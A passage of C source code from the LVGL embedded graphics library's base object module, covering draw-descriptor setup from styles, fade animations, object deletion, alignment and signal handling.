if(draw_dsc->border_width) {
draw_dsc->border_opa = lv_obj_get_style_border_opa(obj, part);
if(draw_dsc->border_opa > LV_OPA_MIN) {
draw_dsc->border_side = lv_obj_get_style_border_side(obj, part);
draw_dsc->border_color = lv_obj_get_style_border_color(obj, part);
}
#if LV_USE_BLEND_MODES
draw_dsc->border_blend_mode = lv_obj_get_style_border_blend_mode(obj, part);
#endif
}
}
#if LV_USE_OUTLINE
if(draw_dsc->outline_opa != LV_OPA_TRANSP) {
draw_dsc->outline_width = lv_obj_get_style_outline_width(obj, part);
if(draw_dsc->outline_width) {
draw_dsc->outline_opa = lv_obj_get_style_outline_opa(obj, part);
if(draw_dsc->outline_opa > LV_OPA_MIN) {
draw_dsc->outline_pad = lv_obj_get_style_outline_pad(obj, part);
draw_dsc->outline_color = lv_obj_get_style_outline_color(obj, part);
}
#if LV_USE_BLEND_MODES
draw_dsc->outline_blend_mode = lv_obj_get_style_outline_blend_mode(obj, part);
#endif
}
}
#endif
#if LV_USE_PATTERN
if(draw_dsc->pattern_opa != LV_OPA_TRANSP) {
draw_dsc->pattern_image = lv_obj_get_style_pattern_image(obj, part);
if(draw_dsc->pattern_image) {
draw_dsc->pattern_opa = lv_obj_get_style_pattern_opa(obj, part);
if(draw_dsc->pattern_opa > LV_OPA_MIN) {
draw_dsc->pattern_recolor_opa = lv_obj_get_style_pattern_recolor_opa(obj, part);
draw_dsc->pattern_repeat = lv_obj_get_style_pattern_repeat(obj, part);
if(lv_img_src_get_type(draw_dsc->pattern_image) == LV_IMG_SRC_SYMBOL) {
draw_dsc->pattern_recolor = lv_obj_get_style_pattern_recolor(obj, part);
draw_dsc->pattern_font = lv_obj_get_style_text_font(obj, part);
}
else if(draw_dsc->pattern_recolor_opa > LV_OPA_MIN) {
draw_dsc->pattern_recolor = lv_obj_get_style_pattern_recolor(obj, part);
}
#if LV_USE_BLEND_MODES
draw_dsc->pattern_blend_mode = lv_obj_get_style_pattern_blend_mode(obj, part);
#endif
}
}
}
#endif
#if LV_USE_SHADOW
if(draw_dsc->shadow_opa > LV_OPA_MIN) {
draw_dsc->shadow_width = lv_obj_get_style_shadow_width(obj, part);
if(draw_dsc->shadow_width) {
draw_dsc->shadow_opa = lv_obj_get_style_shadow_opa(obj, part);
if(draw_dsc->shadow_opa > LV_OPA_MIN) {
draw_dsc->shadow_ofs_x = lv_obj_get_style_shadow_ofs_x(obj, part);
draw_dsc->shadow_ofs_y = lv_obj_get_style_shadow_ofs_y(obj, part);
draw_dsc->shadow_spread = lv_obj_get_style_shadow_spread(obj, part);
draw_dsc->shadow_color = lv_obj_get_style_shadow_color(obj, part);
#if LV_USE_BLEND_MODES
draw_dsc->shadow_blend_mode = lv_obj_get_style_shadow_blend_mode(obj, part);
#endif
}
}
}
#endif
#if LV_USE_VALUE_STR
if(draw_dsc->value_opa > LV_OPA_MIN) {
draw_dsc->value_str = lv_obj_get_style_value_str(obj, part);
if(draw_dsc->value_str) {
draw_dsc->value_opa = lv_obj_get_style_value_opa(obj, part);
if(draw_dsc->value_opa > LV_OPA_MIN) {
draw_dsc->value_ofs_x = lv_obj_get_style_value_ofs_x(obj, part);
draw_dsc->value_ofs_y = lv_obj_get_style_value_ofs_y(obj, part);
draw_dsc->value_color = lv_obj_get_style_value_color(obj, part);
draw_dsc->value_font = lv_obj_get_style_value_font(obj, part);
draw_dsc->value_letter_space = lv_obj_get_style_value_letter_space(obj, part);
draw_dsc->value_line_space = lv_obj_get_style_value_line_space(obj, part);
draw_dsc->value_align = lv_obj_get_style_value_align(obj, part);
#if LV_USE_BLEND_MODES
draw_dsc->value_blend_mode = lv_obj_get_style_value_blend_mode(obj, part);
#endif
}
}
}
#endif
#if LV_USE_OPA_SCALE
if(opa_scale < LV_OPA_MAX) {
draw_dsc->bg_opa = (uint16_t)((uint16_t)draw_dsc->bg_opa * opa_scale) >> 8;
draw_dsc->border_opa = (uint16_t)((uint16_t)draw_dsc->border_opa * opa_scale) >> 8;
draw_dsc->shadow_opa = (uint16_t)((uint16_t)draw_dsc->shadow_opa * opa_scale) >> 8;
draw_dsc->pattern_opa = (uint16_t)((uint16_t)draw_dsc->pattern_opa * opa_scale) >> 8;
draw_dsc->value_opa = (uint16_t)((uint16_t)draw_dsc->value_opa * opa_scale) >> 8;
}
#endif
}
void lv_obj_init_draw_label_dsc(lv_obj_t * obj, uint8_t part, lv_draw_label_dsc_t * draw_dsc)
{
draw_dsc->opa = lv_obj_get_style_text_opa(obj, part);
if(draw_dsc->opa <= LV_OPA_MIN) return;
#if LV_USE_OPA_SCALE
lv_opa_t opa_scale = lv_obj_get_style_opa_scale(obj, part);
if(opa_scale < LV_OPA_MAX) {
draw_dsc->opa = (uint16_t)((uint16_t)draw_dsc->opa * opa_scale) >> 8;
}
if(draw_dsc->opa <= LV_OPA_MIN) return;
#endif
draw_dsc->color = lv_obj_get_style_text_color(obj, part);
draw_dsc->letter_space = lv_obj_get_style_text_letter_space(obj, part);
draw_dsc->line_space = lv_obj_get_style_text_line_space(obj, part);
draw_dsc->decor = lv_obj_get_style_text_decor(obj, part);
#if LV_USE_BLEND_MODES
draw_dsc->blend_mode = lv_obj_get_style_text_blend_mode(obj, part);
#endif
draw_dsc->font = lv_obj_get_style_text_font(obj, part);
if(draw_dsc->sel_start != LV_DRAW_LABEL_NO_TXT_SEL && draw_dsc->sel_end != LV_DRAW_LABEL_NO_TXT_SEL) {
draw_dsc->color = lv_obj_get_style_text_sel_color(obj, part);
}
#if LV_USE_BIDI
draw_dsc->bidi_dir = lv_obj_get_base_dir(obj);
#endif
}
void lv_obj_init_draw_img_dsc(lv_obj_t * obj, uint8_t part, lv_draw_img_dsc_t * draw_dsc)
{
draw_dsc->opa = lv_obj_get_style_image_opa(obj, part);
if(draw_dsc->opa <= LV_OPA_MIN) return;
#if LV_USE_OPA_SCALE
lv_opa_t opa_scale = lv_obj_get_style_opa_scale(obj, part);
if(opa_scale < LV_OPA_MAX) {
draw_dsc->opa = (uint16_t)((uint16_t)draw_dsc->opa * opa_scale) >> 8;
}
if(draw_dsc->opa <= LV_OPA_MIN) return;
#endif
draw_dsc->angle = 0;
draw_dsc->zoom = LV_IMG_ZOOM_NONE;
draw_dsc->pivot.x = lv_area_get_width(&obj->coords) / 2;
draw_dsc->pivot.y = lv_area_get_height(&obj->coords) / 2;
draw_dsc->recolor_opa = lv_obj_get_style_image_recolor_opa(obj, part);
if(draw_dsc->recolor_opa > 0) {
draw_dsc->recolor = lv_obj_get_style_image_recolor(obj, part);
}
#if LV_USE_BLEND_MODES
draw_dsc->blend_mode = lv_obj_get_style_image_blend_mode(obj, part);
#endif
}
void lv_obj_init_draw_line_dsc(lv_obj_t * obj, uint8_t part, lv_draw_line_dsc_t * draw_dsc)
{
draw_dsc->opa = lv_obj_get_style_line_opa(obj, part);
if(draw_dsc->opa <= LV_OPA_MIN) return;
#if LV_USE_OPA_SCALE
lv_opa_t opa_scale = lv_obj_get_style_opa_scale(obj, part);
if(opa_scale < LV_OPA_MAX) {
draw_dsc->opa = (uint16_t)((uint16_t)draw_dsc->opa * opa_scale) >> 8;
}
if(draw_dsc->opa <= LV_OPA_MIN) return;
#endif
draw_dsc->width = lv_obj_get_style_line_width(obj, part);
if(draw_dsc->width == 0) return;
draw_dsc->color = lv_obj_get_style_line_color(obj, part);
draw_dsc->dash_width = lv_obj_get_style_line_dash_width(obj, part);
if(draw_dsc->dash_width) {
draw_dsc->dash_gap = lv_obj_get_style_line_dash_gap(obj, part);
}
draw_dsc->round_start = lv_obj_get_style_line_rounded(obj, part);
draw_dsc->round_end = draw_dsc->round_start;
#if LV_USE_BLEND_MODES
draw_dsc->blend_mode = lv_obj_get_style_line_blend_mode(obj, part);
#endif
}
/**
* Get the required extra size (around the object's part) to draw shadow, outline, value etc.
* @param obj pointer to an object
* @param part part of the object
*/
lv_coord_t lv_obj_get_draw_rect_ext_pad_size(lv_obj_t * obj, uint8_t part)
{
lv_coord_t s = 0;
lv_coord_t sh_width = lv_obj_get_style_shadow_width(obj, part);
if(sh_width) {
lv_opa_t sh_opa = lv_obj_get_style_shadow_opa(obj, part);
if(sh_opa > LV_OPA_MIN) {
sh_width = sh_width / 2; /*THe blur adds only half width*/
sh_width++;
sh_width += lv_obj_get_style_shadow_spread(obj, part);
lv_style_int_t sh_ofs_x = lv_obj_get_style_shadow_ofs_x(obj, part);
lv_style_int_t sh_ofs_y = lv_obj_get_style_shadow_ofs_y(obj, part);
sh_width += LV_MATH_MAX(LV_MATH_ABS(sh_ofs_x), LV_MATH_ABS(sh_ofs_y));
s = LV_MATH_MAX(s, sh_width);
}
}
const char * value_str = lv_obj_get_style_value_str(obj, part);
if(value_str) {
lv_opa_t value_opa = lv_obj_get_style_value_opa(obj, part);
if(value_opa > LV_OPA_MIN) {
lv_style_int_t letter_space = lv_obj_get_style_value_letter_space(obj, part);
lv_style_int_t line_space = lv_obj_get_style_value_letter_space(obj, part);
const lv_font_t * font = lv_obj_get_style_value_font(obj, part);
lv_point_t txt_size;
_lv_txt_get_size(&txt_size, value_str, font, letter_space, line_space, LV_COORD_MAX, LV_TXT_FLAG_NONE);
lv_area_t value_area;
value_area.x1 = 0;
value_area.y1 = 0;
value_area.x2 = txt_size.x - 1;
value_area.y2 = txt_size.y - 1;
lv_style_int_t align = lv_obj_get_style_value_align(obj, part);
lv_style_int_t xofs = lv_obj_get_style_value_ofs_x(obj, part);
lv_style_int_t yofs = lv_obj_get_style_value_ofs_y(obj, part);
lv_point_t p_align;
_lv_area_align(&obj->coords, &value_area, align, &p_align);
value_area.x1 += p_align.x + xofs;
value_area.y1 += p_align.y + yofs;
value_area.x2 += p_align.x + xofs;
value_area.y2 += p_align.y + yofs;
s = LV_MATH_MAX(s, obj->coords.x1 - value_area.x1);
s = LV_MATH_MAX(s, obj->coords.y1 - value_area.y1);
s = LV_MATH_MAX(s, value_area.x2 - obj->coords.x2);
s = LV_MATH_MAX(s, value_area.y2 - obj->coords.y2);
}
}
lv_style_int_t outline_width = lv_obj_get_style_outline_width(obj, part);
if(outline_width) {
lv_opa_t outline_opa = lv_obj_get_style_outline_opa(obj, part);
if(outline_opa > LV_OPA_MIN) {
lv_style_int_t outline_pad = lv_obj_get_style_outline_pad(obj, part);
s = LV_MATH_MAX(s, outline_pad + outline_width);
}
}
lv_coord_t w = lv_obj_get_style_transform_width(obj, part);
lv_coord_t h = lv_obj_get_style_transform_height(obj, part);
lv_coord_t wh = LV_MATH_MAX(w, h);
if(wh > 0) s += wh;
return s;
}
/**
* Fade in (from transparent to fully cover) an object and all its children using an `opa_scale` animation.
* @param obj the object to fade in
* @param time duration of the animation [ms]
* @param delay wait before the animation starts [ms]
*/
void lv_obj_fade_in(lv_obj_t * obj, uint32_t time, uint32_t delay)
{
#if LV_USE_ANIMATION
lv_anim_t a;
lv_anim_init(&a);
lv_anim_set_var(&a, obj);
lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER);
lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)opa_scale_anim);
lv_anim_set_ready_cb(&a, fade_in_anim_ready);
lv_anim_set_time(&a, time);
lv_anim_set_delay(&a, delay);
lv_anim_start(&a);
#else
(void) obj; /*Unused*/
(void) time; /*Unused*/
(void) delay; /*Unused*/
#endif
}
/**
* Fade out (from fully cover to transparent) an object and all its children using an `opa_scale` animation.
* @param obj the object to fade in
* @param time duration of the animation [ms]
* @param delay wait before the animation starts [ms]
*/
void lv_obj_fade_out(lv_obj_t * obj, uint32_t time, uint32_t delay)
{
#if LV_USE_ANIMATION
lv_anim_t a;
lv_anim_init(&a);
lv_anim_set_var(&a, obj);
lv_anim_set_values(&a, LV_OPA_COVER, LV_OPA_TRANSP);
lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)opa_scale_anim);
lv_anim_set_time(&a, time);
lv_anim_set_delay(&a, delay);
lv_anim_start(&a);
#else
(void) obj; /*Unused*/
(void) time; /*Unused*/
(void) delay; /*Unused*/
#endif
}
/**
* Check if any object has a given type
* @param obj pointer to an object
* @param obj_type type of the object. (e.g. "lv_btn")
* @return true: valid
*/
bool lv_debug_check_obj_type(const lv_obj_t * obj, const char * obj_type)
{
if(obj_type[0] == '\0') return true;
lv_obj_type_t types;
lv_obj_get_type((lv_obj_t *)obj, &types);
uint8_t i;
for(i = 0; i < LV_MAX_ANCESTOR_NUM; i++) {
if(types.type[i] == NULL) break;
if(strcmp(types.type[i], obj_type) == 0) return true;
}
return false;
}
/**
* Check if any object is still "alive", and part of the hierarchy
* @param obj pointer to an object
* @param obj_type type of the object. (e.g. "lv_btn")
* @return true: valid
*/
bool lv_debug_check_obj_valid(const lv_obj_t * obj)
{
lv_disp_t * disp = lv_disp_get_next(NULL);
while(disp) {
lv_obj_t * scr;
_LV_LL_READ(disp->scr_ll, scr) {
if(scr == obj) return true;
bool found = obj_valid_child(scr, obj);
if(found) return true;
}
disp = lv_disp_get_next(disp);
}
return false;
}
/**********************
* STATIC FUNCTIONS
**********************/
static void lv_obj_del_async_cb(void * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_del(obj);
}
static void obj_del_core(lv_obj_t * obj)
{
/*Let the user free the resources used in `LV_EVENT_DELETE`*/
lv_event_send(obj, LV_EVENT_DELETE, NULL);
/*Delete from the group*/
#if LV_USE_GROUP
lv_group_t * group = lv_obj_get_group(obj);
if(group) lv_group_remove_obj(obj);
#endif
/*Remove the animations from this object*/
#if LV_USE_ANIMATION
lv_anim_del(obj, NULL);
trans_del(obj, 0xFF, 0xFF, NULL);
#endif
/*Delete the user data*/
#if LV_USE_USER_DATA
#if LV_USE_USER_DATA_FREE
LV_USER_DATA_FREE(obj);
#endif
#endif
/*Recursively delete the children*/
lv_obj_t * i;
lv_obj_t * i_next;
i = _lv_ll_get_head(&(obj->child_ll));
while(i != NULL) {
/*Get the next object before delete this*/
i_next = _lv_ll_get_next(&(obj->child_ll), i);
/*Call the recursive del to the child too*/
obj_del_core(i);
/*Set i to the next node*/
i = i_next;
}
lv_event_mark_deleted(obj);
/* Reset all input devices if the object to delete is used*/
lv_indev_t * indev = lv_indev_get_next(NULL);
while(indev) {
if(indev->proc.types.pointer.act_obj == obj || indev->proc.types.pointer.last_obj == obj) {
lv_indev_reset(indev, obj);
}
if(indev->proc.types.pointer.last_pressed == obj) {
indev->proc.types.pointer.last_pressed = NULL;
}
#if LV_USE_GROUP
if(indev->group == group && obj == lv_indev_get_obj_act()) {
lv_indev_reset(indev, obj);
}
#endif
indev = lv_indev_get_next(indev);
}
/* All children deleted.
* Now clean up the object specific data*/
obj->signal_cb(obj, LV_SIGNAL_CLEANUP, NULL);
/*Remove the object from parent's children list*/
lv_obj_t * par = lv_obj_get_parent(obj);
if(par == NULL) { /*It is a screen*/
lv_disp_t * d = lv_obj_get_disp(obj);
_lv_ll_remove(&d->scr_ll, obj);
}
else {
_lv_ll_remove(&(par->child_ll), obj);
}
/*Delete the base objects*/
if(obj->ext_attr != NULL) lv_mem_free(obj->ext_attr);
lv_mem_free(obj); /*Free the object itself*/
}
/**
* Handle the drawing related tasks of the base objects.
* @param obj pointer to an object
* @param clip_area the object will be drawn only in this area
* @param mode LV_DESIGN_COVER_CHK: only check if the object fully covers the 'mask_p' area
* (return 'true' if yes)
* LV_DESIGN_DRAW: draw the object (always return 'true')
* @param return an element of `lv_design_res_t`
*/
static lv_design_res_t lv_obj_design(lv_obj_t * obj, const lv_area_t * clip_area, lv_design_mode_t mode)
{
if(mode == LV_DESIGN_COVER_CHK) {
if(lv_obj_get_style_clip_corner(obj, LV_OBJ_PART_MAIN)) return LV_DESIGN_RES_MASKED;
/*Most trivial test. Is the mask fully IN the object? If no it surely doesn't cover it*/
lv_coord_t r = lv_obj_get_style_radius(obj, LV_OBJ_PART_MAIN);
lv_coord_t w = lv_obj_get_style_transform_width(obj, LV_OBJ_PART_MAIN);
lv_coord_t h = lv_obj_get_style_transform_height(obj, LV_OBJ_PART_MAIN);
lv_area_t coords;
lv_area_copy(&coords, &obj->coords);
coords.x1 -= w;
coords.x2 += w;
coords.y1 -= h;
coords.y2 += h;
if(_lv_area_is_in(clip_area, &coords, r) == false) return LV_DESIGN_RES_NOT_COVER;
if(lv_obj_get_style_bg_opa(obj, LV_OBJ_PART_MAIN) < LV_OPA_MAX) return LV_DESIGN_RES_NOT_COVER;
if(lv_obj_get_style_bg_blend_mode(obj, LV_OBJ_PART_MAIN) != LV_BLEND_MODE_NORMAL) return LV_DESIGN_RES_NOT_COVER;
if(lv_obj_get_style_border_blend_mode(obj, LV_OBJ_PART_MAIN) != LV_BLEND_MODE_NORMAL) return LV_DESIGN_RES_NOT_COVER;
if(lv_obj_get_style_opa_scale(obj, LV_OBJ_PART_MAIN) < LV_OPA_MAX) return LV_DESIGN_RES_NOT_COVER;
return LV_DESIGN_RES_COVER;
}
else if(mode == LV_DESIGN_DRAW_MAIN) {
lv_draw_rect_dsc_t draw_dsc;
lv_draw_rect_dsc_init(&draw_dsc);
/*If the border is drawn later disable loading its properties*/
if(lv_obj_get_style_border_post(obj, LV_OBJ_PART_MAIN)) {
draw_dsc.border_opa = LV_OPA_TRANSP;
}
lv_obj_init_draw_rect_dsc(obj, LV_OBJ_PART_MAIN, &draw_dsc);
lv_coord_t w = lv_obj_get_style_transform_width(obj, LV_OBJ_PART_MAIN);
lv_coord_t h = lv_obj_get_style_transform_height(obj, LV_OBJ_PART_MAIN);
lv_area_t coords;
lv_area_copy(&coords, &obj->coords);
coords.x1 -= w;
coords.x2 += w;
coords.y1 -= h;
coords.y2 += h;
lv_draw_rect(&coords, clip_area, &draw_dsc);
if(lv_obj_get_style_clip_corner(obj, LV_OBJ_PART_MAIN)) {
lv_draw_mask_radius_param_t * mp = _lv_mem_buf_get(sizeof(lv_draw_mask_radius_param_t));
lv_coord_t r = lv_obj_get_style_radius(obj, LV_OBJ_PART_MAIN);
lv_draw_mask_radius_init(mp, &obj->coords, r, false);
/*Add the mask and use `obj+8` as custom id. Don't use `obj` directly because it might be used by the user*/
lv_draw_mask_add(mp, obj + 8);
}
}
else if(mode == LV_DESIGN_DRAW_POST) {
if(lv_obj_get_style_clip_corner(obj, LV_OBJ_PART_MAIN)) {
lv_draw_mask_radius_param_t * param = lv_draw_mask_remove_custom(obj + 8);
_lv_mem_buf_release(param);
}
/*If the border is drawn later disable loading other properties*/
if(lv_obj_get_style_border_post(obj, LV_OBJ_PART_MAIN)) {
lv_draw_rect_dsc_t draw_dsc;
lv_draw_rect_dsc_init(&draw_dsc);
draw_dsc.bg_opa = LV_OPA_TRANSP;
draw_dsc.pattern_opa = LV_OPA_TRANSP;
draw_dsc.shadow_opa = LV_OPA_TRANSP;
draw_dsc.value_opa = LV_OPA_TRANSP;
lv_obj_init_draw_rect_dsc(obj, LV_OBJ_PART_MAIN, &draw_dsc);
lv_coord_t w = lv_obj_get_style_transform_width(obj, LV_OBJ_PART_MAIN);
lv_coord_t h = lv_obj_get_style_transform_height(obj, LV_OBJ_PART_MAIN);
lv_area_t coords;
lv_area_copy(&coords, &obj->coords);
coords.x1 -= w;
coords.x2 += w;
coords.y1 -= h;
coords.y2 += h;
lv_draw_rect(&coords, clip_area, &draw_dsc);
}
}
return LV_DESIGN_RES_OK;
}
/**
* Get the really focused object by taking `focus_parent` into account.
* @param obj the start object
* @return the object to really focus
*/
lv_obj_t * lv_obj_get_focused_obj(const lv_obj_t * obj)
{
if(obj == NULL) return NULL;
const lv_obj_t * focus_obj = obj;
while(lv_obj_get_focus_parent(focus_obj) != false && focus_obj != NULL) {
focus_obj = lv_obj_get_parent(focus_obj);
}
return (lv_obj_t *)focus_obj;
}
/**
* Signal function of the basic object
* @param obj pointer to an object
* @param sign signal type
* @param param parameter for the signal (depends on signal type)
* @return LV_RES_OK: the object is not deleted in the function; LV_RES_INV: the object is deleted
*/
static lv_res_t lv_obj_signal(lv_obj_t * obj, lv_signal_t sign, void * param)
{
if(sign == LV_SIGNAL_GET_STYLE) {
lv_get_style_info_t * info = param;
if(info->part == LV_OBJ_PART_MAIN) info->result = &obj->style_list;
else info->result = NULL;
return LV_RES_OK;
}
else if(sign == LV_SIGNAL_GET_TYPE) return lv_obj_handle_get_type_signal(param, LV_OBJX_NAME);
lv_res_t res = LV_RES_OK;
if(sign == LV_SIGNAL_CHILD_CHG) {
/*Return 'invalid' if the child change signal is not enabled*/
if(lv_obj_is_protected(obj, LV_PROTECT_CHILD_CHG) != false) res = LV_RES_INV;
}
else if(sign == LV_SIGNAL_REFR_EXT_DRAW_PAD) {
lv_coord_t d = lv_obj_get_draw_rect_ext_pad_size(obj, LV_OBJ_PART_MAIN);
obj->ext_draw_pad = LV_MATH_MAX(obj->ext_draw_pad, d);
}
#if LV_USE_OBJ_REALIGN
else if(sign == LV_SIGNAL_PARENT_SIZE_CHG) {
if(obj->realign.auto_realign) {
lv_obj_realign(obj);
}
}
#endif
else if(sign == LV_SIGNAL_STYLE_CHG) {
lv_obj_refresh_ext_draw_pad(obj);
}
else if(sign == LV_SIGNAL_PRESSED) {
lv_obj_add_state(obj, LV_STATE_PRESSED);
}
else if(sign == LV_SIGNAL_RELEASED || sign == LV_SIGNAL_PRESS_LOST) {
lv_obj_clear_state(obj, LV_STATE_PRESSED);
}
else if(sign == LV_SIGNAL_FOCUS) {
bool editing = false;
#if LV_USE_GROUP
editing = lv_group_get_editing(lv_obj_get_group(obj));
#endif
if(editing) {
uint8_t state = LV_STATE_FOCUSED;
state |= LV_STATE_EDITED;
/*if using focus mode, change target to parent*/
obj = lv_obj_get_focused_obj(obj);
lv_obj_add_state(obj, state);
}
else {
/*if using focus mode, change target to parent*/
obj = lv_obj_get_focused_obj(obj);
lv_obj_add_state(obj, LV_STATE_FOCUSED);
lv_obj_clear_state(obj, LV_STATE_EDITED);
}
}
else if(sign == LV_SIGNAL_DEFOCUS) {
/*if using focus mode, change target to parent*/
obj = lv_obj_get_focused_obj(obj);
lv_obj_clear_state(obj, LV_STATE_FOCUSED | LV_STATE_EDITED);
}
else if(sign == LV_SIGNAL_CLEANUP) {
lv_obj_clean_style_list(obj, LV_OBJ_PART_MAIN);
}
return res;
}
/**
* Reposition the children of an object. (Called recursively)
* @param obj pointer to an object which children will be repositioned
* @param x_diff x coordinate shift
* @param y_diff y coordinate shift
*/
static void refresh_children_position(lv_obj_t * obj, lv_coord_t x_diff, lv_coord_t y_diff)
{
lv_obj_t * i;
_LV_LL_READ(obj->child_ll, i) {
i->coords.x1 += x_diff;
i->coords.y1 += y_diff;
i->coords.x2 += x_diff;
i->coords.y2 += y_diff;
refresh_children_position(i, x_diff, y_diff);
}
}
/**
* Refresh the style of all children of an object. (Called recursively)
* @param style refresh objects only with this style_list.
* @param obj pointer to an object
*/
static void report_style_mod_core(void * style, lv_obj_t * obj)
{
uint8_t part_sub;
for(part_sub = 0; part_sub != _LV_OBJ_PART_REAL_LAST; part_sub++) {
lv_style_list_t * dsc = lv_obj_get_style_list(obj, part_sub);
if(dsc == NULL) break;
uint8_t ci;
for(ci = 0; ci < dsc->style_cnt; ci++) {
lv_style_t * class = lv_style_list_get_style(dsc, ci);
if(class == style || style == NULL) {
lv_obj_refresh_style(obj, LV_STYLE_PROP_ALL);
break;
}
}
}
lv_obj_t * child = lv_obj_get_child(obj, NULL);
while(child) {
report_style_mod_core(style, child);
child = lv_obj_get_child(obj, child);
}
}
/**
* Recursively refresh the style of the children. Go deeper until a not NULL style is found
* because the NULL styles are inherited from the parent
* @param obj pointer to an object
*/
static void refresh_children_style(lv_obj_t * obj)
{
lv_obj_t * child = lv_obj_get_child(obj, NULL);
while(child != NULL) {
lv_obj_invalidate(child);
child->signal_cb(child, LV_SIGNAL_STYLE_CHG, NULL);
lv_obj_invalidate(child);
refresh_children_style(child); /*Check children too*/
child = lv_obj_get_child(obj, child);
}
}
static void base_dir_refr_children(lv_obj_t * obj)
{
lv_obj_t * child;
child = lv_obj_get_child(obj, NULL);
while(child) {
if(child->base_dir == LV_BIDI_DIR_INHERIT) {
lv_signal_send(child, LV_SIGNAL_BASE_DIR_CHG, NULL);
base_dir_refr_children(child);
}
child = lv_obj_get_child(obj, child);
}
}
static void obj_align_core(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, bool x_set, bool y_set,
lv_coord_t x_ofs, lv_coord_t y_ofs)
{
lv_point_t new_pos;
_lv_area_align(&base->coords, &obj->coords, align, &new_pos);
/*Bring together the coordination system of base and obj*/
lv_obj_t * par = lv_obj_get_parent(obj);
lv_coord_t par_abs_x = par->coords.x1;
lv_coord_t par_abs_y = par->coords.y1;
new_pos.x += x_ofs;
new_pos.y += y_ofs;
new_pos.x -= par_abs_x;
new_pos.y -= par_abs_y;
if(x_set && y_set) lv_obj_set_pos(obj, new_pos.x, new_pos.y);
else if(x_set) lv_obj_set_x(obj, new_pos.x);
else if(y_set) lv_obj_set_y(obj, new_pos.y);
}
static void obj_align_mid_core(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, bool x_set, bool y_set,
lv_coord_t x_ofs, lv_coord_t y_ofs)
{
lv_coord_t new_x = lv_obj_get_x(obj);
lv_coord_t new_y = lv_obj_get_y(obj);
lv_coord_t obj_w_half = lv_obj_get_width(obj) / 2;
lv_coord_t obj_h_half = lv_obj_get_height(obj) / 2;
switch(align) {
case LV_ALIGN_CENTER:
new_x = lv_obj_get_width(base) / 2 - obj_w_half;
new_y = lv_obj_get_height(base) / 2 - obj_h_half;
break;
case LV_ALIGN_IN_TOP_LEFT:
new_x = -obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_IN_TOP_MID:
new_x = lv_obj_get_width(base) / 2 - obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_IN_TOP_RIGHT:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_IN_BOTTOM_LEFT:
new_x = -obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_IN_BOTTOM_MID:
new_x = lv_obj_get_width(base) / 2 - obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_IN_BOTTOM_RIGHT:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_IN_LEFT_MID:
new_x = -obj_w_half;
new_y = lv_obj_get_height(base) / 2 - obj_h_half;
break;
case LV_ALIGN_IN_RIGHT_MID:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = lv_obj_get_height(base) / 2 - obj_h_half;
break;
case LV_ALIGN_OUT_TOP_LEFT:
new_x = -obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_OUT_TOP_MID:
new_x = lv_obj_get_width(base) / 2 - obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_OUT_TOP_RIGHT:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_OUT_BOTTOM_LEFT:
new_x = -obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_OUT_BOTTOM_MID:
new_x = lv_obj_get_width(base) / 2 - obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_OUT_BOTTOM_RIGHT:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_OUT_LEFT_TOP:
new_x = -obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_OUT_LEFT_MID:
new_x = -obj_w_half;
new_y = lv_obj_get_height(base) / 2 - obj_h_half;
break;
case LV_ALIGN_OUT_LEFT_BOTTOM:
new_x = -obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
case LV_ALIGN_OUT_RIGHT_TOP:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = -obj_h_half;
break;
case LV_ALIGN_OUT_RIGHT_MID:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = lv_obj_get_height(base) / 2 - obj_h_half;
break;
case LV_ALIGN_OUT_RIGHT_BOTTOM:
new_x = lv_obj_get_width(base) - obj_w_half;
new_y = lv_obj_get_height(base) - obj_h_half;
break;
}
/*Bring together the coordination system of base and obj*/
lv_obj_t * par = lv_obj_get_parent(obj);
lv_coord_t base_abs_x = base->coords.x1;
lv_coord_t base_abs_y = base->coords.y1;
lv_coord_t par_abs_x = par->coords.x1;
lv_coord_t par_abs_y = par->coords.y1;
new_x += x_ofs + base_abs_x;
new_y += y_ofs + base_abs_y;
new_x -= par_abs_x;
new_y -= par_abs_y;
if(x_set && y_set) lv_obj_set_pos(obj, new_x, new_y);
else if(x_set) lv_obj_set_x(obj, new_x);
else if(y_set) lv_obj_set_y(obj, new_y);
}
#if LV_USE_ANIMATION
/**
* Allocate and initialize a transition for a property of an object if the properties value is different in the new state.
* It allocates `lv_style_trans_t` in `_lv_obj_style_trans_ll` and set only `start/end_values`. No animation will be created here.
* @param obj and object to add the transition
* @param prop the property to apply the transaction
* @param part the part of the object to apply the transaction
* @param prev_state the previous state of the objects
* @param new_state the new state of the object
* @return pointer to the allocated `the transaction` variable or `NULL` if no transition created
*/
static lv_style_trans_t * trans_create(lv_obj_t * obj, lv_style_property_t prop, uint8_t part, lv_state_t prev_state,
lv_state_t new_state)
{
lv_style_trans_t * tr;
lv_style_list_t * style_list = lv_obj_get_style_list(obj, part);
lv_style_t * style_trans = _lv_style_list_get_transition_style(style_list);
/*Get the previous and current values*/
if((prop & 0xF) < LV_STYLE_ID_COLOR) { /*Int*/
style_list->skip_trans = 1;
obj->state = prev_state;
